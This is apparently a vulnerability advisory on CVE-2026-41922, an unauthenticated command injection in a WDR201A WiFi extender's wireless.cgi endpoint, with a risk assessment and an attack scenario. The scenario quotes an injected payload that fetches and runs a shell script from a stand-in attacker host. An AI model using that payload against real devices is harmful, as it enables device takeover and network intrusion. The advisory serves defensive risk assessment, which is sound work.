WDR201A WiFi Extender CVE-2026-41922

Remote unauthenticated exploitation against default configurations of WDR201A WiFi Extender hardware V2.1 running firmware LFMZX28040922V1.02. No special conditions-the vulnerability exists in the default web management interface accessible on standard HTTP/HTTPS ports without authentication (PR:N confirms). Attack requires only network reachability to the device's wireless.cgi endpoint, which is exposed by default when the web UI is enabled. No user interaction required (UI:N). Specific limiting factors: exploitation requires the web management interface to be enabled (factory default state) and network-accessible-devices behind NAT without port forwarding are protected from internet-based attacks but remain vulnerable to LAN-based exploitation. The sz11gChannel parameter is processed during wireless configuration workflows, and PIN parameter during WPS setup, both accessible without credentials.

This vulnerability represents critical real-world risk despite not appearing in CISA KEV. CVSS v4.0 vector analysis shows worst-case exploitability: AV:N (network-accessible from internet or local network), AC:L (low complexity-trivial to exploit), PR:N (no authentication required), UI:N (no user interaction needed). SSVC framework confirms: exploitation status is POC-available (weaponizable exploit published), automatable is YES (scriptable for mass scanning), technical impact is TOTAL (complete device compromise). EPSS data not provided but these characteristics typically correlate with EPSS >0.50. The publicly available exploit code at mstreet97.github.io lowers the skill barrier to script-kiddie level. Primary risk factors: (1) IoT devices often directly exposed to internet via UPnP or weak firewall rules, (2) devices rarely receive firmware updates from consumers, (3) exploit requires zero authentication-automated botnets can scan and compromise en masse. Mitigating factor: limited deployment scope-WDR201A appears to be lower-tier consumer device with smaller install base than enterprise equipment. However, compromised WiFi extenders provide persistent network access for lateral movement. Priority assessment: IMMEDIATE remediation for any internet-facing instances; HIGH priority for internal network deployments. Absence from CISA KEV suggests limited targeting by APT groups but does NOT indicate low risk-consumer IoT exploits often go undetected in residential environments.

An attacker conducts network reconnaissance via Shodan or Censys to identify WDR201A devices exposed on port 80/443 by fingerprinting the wireless.cgi endpoint. The attacker crafts an HTTP POST request to /wireless.cgi with a malicious sz11gChannel parameter containing shell metacharacters and a reverse shell payload (e.g., ; curl attacker.com/shell.sh | sh ;). The vulnerable set_wifi_basic function passes the unsanitized input to a system() call, executing the attacker's commands with root privileges. Within seconds, the attacker establishes persistent backdoor access, pivots to internal network resources through the compromised extender, and uses the device as a C2 beachhead. Public POC code enables mass exploitation via automated scanners.